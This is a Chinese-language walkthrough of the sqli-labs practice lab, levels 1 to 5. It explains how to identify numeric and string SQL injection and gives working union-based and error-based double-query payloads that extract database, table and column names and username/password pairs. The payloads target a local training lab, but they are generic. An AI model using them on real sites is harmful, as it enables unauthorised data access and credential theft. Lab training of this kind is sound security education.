判断注入类型

数字型

  1. Url 地址中输入 http://xxx/xx.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
  2. Url 地址中继续输入 http://xxx/xx.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

字符型

  1. Url 地址中输入 http://xxx/xx.php?id= x’ and ‘1’=’1 页面运行正常,继续进行下一步。

    2.Url 地址中继续输入 http://xxx/xx.php?id= x’ and ‘1’=’2 页面运行错误,则说明此 Sql 注入为字符型注入。

猜解数据库中字段数

使用 order by x 进行猜解的时候可以使用二分法进行猜解,先使用大一点的数字数字进行测试,如果报错就换数字的一半进行测试,当范围缩小时在依次测试。
注意: (–+为注释,将–+之后的语句都注释)

Less-1

# 这是字符型注入
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
# 使用order by进行联合注入,显示字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+
# 在我们回显字段,将id改成错误的值(-1,0,-2等)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
# 通过回显数值我们将该数值显示成数据库的名称 利用database()函数
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+
# 获得数据库名称后,再获取数据库中的表,获取全部的表需要一个group_concat()函数
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
# 在获得数据表以后,我们来获取users表中的列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+
# 获取到列名以后,我们再获取该列数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(username ,':', password) from users --+

sql注入完成,下图7caf5a7f70244185b669b92d2026b58f

Less-2

第二关为数字型注入和第一个一样,删除 id=1后面的引号即可

Less-3

第三关的注入类型是基于 ‘) 的注入,只需要把注入点改为 ‘) 就可以了。

Less-4

输入单引号进行测试:

74e406b234e645c29efa332800e9da0e

我们发现并没有报错,那么就有可能是数据库后台把单引号过滤了,既然单引号类型被过滤了,那么我们就去测试双引号,我们输入注入语句:

?id=1"

a442969c22e546bcb4de182b451511fb

页面报错并且爆出了单括号,根据第三关的经验我们首先测试是不是基于 “) 的注入类型 ,输入注入语句:

?id=1") and 1=1 --+
?id=1") 1=2 --+

第一个显示正常,第二个不正常但无报错说明有可能是基于 “) 的注入类型,接下来我们输入ORDER BY 语句进行测试:

?id=1") order by 3 --+

页面显示正常。。bc6ba356af0f40cb9c807af291f8c9f8

Less-5

判断为字符注入,通过 ‘ 闭合查询无返回的数据,无论是有数据返回还是无数据返回页面都不会显示相关的数据。

所以这关的重点是盲注。

http://127.0.0.1/sqli-labs-master/less-5/?id=-1'  %23

开始注入

1.双查询注入(需要多点几下才能出效果)

爆库名

http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select database()), floor(rand()*2)) a from information_schema.tables group by a  %23

9a3f71c5fcf540ffbe4b7e94d7998f81

爆表名

http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand()*2)) a from information_schema.tables group by a  %23

04fa7aee6738498a91df6a16e267265d

爆列名

http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand()*2)) a from information_schema.tables group by a  %23

75ca52a0302c4955a19a3d97bbd6b99c

爆字段内容(获取用户表的账号和密码)

http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select concat(username,'~',password) from users  limit 0,1), floor(rand()*2)) a from information_schema.tables group by a  %23

5e3f5be531ef42389799d5c690d02801

其他账号密码更改limit后面的0为1,2,3,4就可以出来了。